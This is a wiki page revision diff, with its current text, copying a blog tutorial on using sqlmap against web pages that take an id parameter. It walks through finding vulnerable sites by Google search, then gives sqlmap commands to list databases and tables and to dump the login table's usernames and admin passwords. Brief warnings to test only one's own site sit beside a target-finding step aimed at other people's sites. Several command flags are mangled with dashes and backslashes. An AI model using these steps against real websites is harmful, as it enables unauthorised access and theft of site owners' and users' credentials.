Difference between revisions of "Sqlmap: memperoleh password database sql"
Onnowpurbo (talk | contribs) (New page: Sumber: http://uwnthesis.wordpress.com/2014/02/01/kali-linux-how-to-hack-use-sqlmap-for-auto-sql-injection-find-website-admin-password/ Kali Linux How To Use SQLmap for SQL Injection –...) |
Onnowpurbo (talk | contribs) |
||
| Line 8: | Line 8: | ||
Step 1 – Google for php?=id1 | Step 1 – Google for php?=id1 | ||
| − | Google for php?=id1 | + | Google for php?=id1 |
add a Single quote… to the end of the URL. | add a Single quote… to the end of the URL. | ||
| Line 17: | Line 17: | ||
****** | ****** | ||
Step 2 – Kali SQLMAP – get website databases | Step 2 – Kali SQLMAP – get website databases | ||
| − | SQLMAP – u http:\\website.com/page.php?id=1 –dbs | + | SQLMAP – u http:\\website.com/page.php?id=1 –dbs |
| + | |||
This will fetch all available databases on the website. Did you see them listed? | This will fetch all available databases on the website. Did you see them listed? | ||
****** | ****** | ||
Step 3 – Find the LOGIN table | Step 3 – Find the LOGIN table | ||
| − | SQLMAP – u http:\\website.com/page.php?id=1 –D www – tables | + | SQLMAP – u http:\\website.com/page.php?id=1 –D www – tables |
Did you see all the TABLES on the website list out? | Did you see all the TABLES on the website list out? | ||
| Line 32: | Line 33: | ||
****** | ****** | ||
Step 4 – Get all the Login Data (from Step 3) | Step 4 – Get all the Login Data (from Step 3) | ||
| − | SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login –columns | + | |
| + | SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login –columns | ||
This should display columns with items such as Cookie, ID, IP, Password, Username. | This should display columns with items such as Cookie, ID, IP, Password, Username. | ||
| Line 38: | Line 40: | ||
****** | ****** | ||
Step 5 – Get Usernames (& Admin) | Step 5 – Get Usernames (& Admin) | ||
| − | SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login -C username –dump | + | SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login -C username –dump |
| + | |||
Look for “admin” | Look for “admin” | ||
***** | ***** | ||
Step 6 – Get Passwords (of Admin) | Step 6 – Get Passwords (of Admin) | ||
| − | SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login -C password –dump | + | SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login -C password –dump |
That’s it. | That’s it. | ||
| Line 55: | Line 58: | ||
* http://uwnthesis.wordpress.com/2014/02/01/kali-linux-how-to-hack-use-sqlmap-for-auto-sql-injection-find-website-admin-password/ | * http://uwnthesis.wordpress.com/2014/02/01/kali-linux-how-to-hack-use-sqlmap-for-auto-sql-injection-find-website-admin-password/ | ||
| + | * http://oldmanlab.blogspot.sg/2012/03/sqlmap-tutorial-you-are-just.html | ||
Revision as of 06:50, 16 July 2014
Kali Linux How To Use SQLmap for SQL Injection – Find Website Admin Password
01/02/2014
How to test if a website is vulnerable to SQL injection. To be legal, use your own website. Step 1 – Google for php?=id1
Google for php?=id1
add a Single quote… to the end of the URL. so it reads php?=id1′ If you get an error the website is vulnerable. Go to step 2. If this is your own website – shut it down immediately. You need to secure it before you bring it back online.
Step 2 – Kali SQLMAP – get website databases
SQLMAP – u http:\\website.com/page.php?id=1 –dbs
This will fetch all available databases on the website. Did you see them listed?
Step 3 – Find the LOGIN table
SQLMAP – u http:\\website.com/page.php?id=1 –D www – tables
Did you see all the TABLES on the website list out?
Look for likely targets… eg Login, username or password table.
If you’re not on your own website, or a best friends website (who’s sat next to you), you are into illegal terrority. STOP now!!
Step 4 – Get all the Login Data (from Step 3)
SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login –columns
This should display columns with items such as Cookie, ID, IP, Password, Username.
Step 5 – Get Usernames (& Admin)
SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login -C username –dump
Look for “admin”
Step 6 – Get Passwords (of Admin)
SQLMAP – u http:\\website.com/page.php?id=1 –D www -T uk_cms_gb_login -C password –dump
That’s it.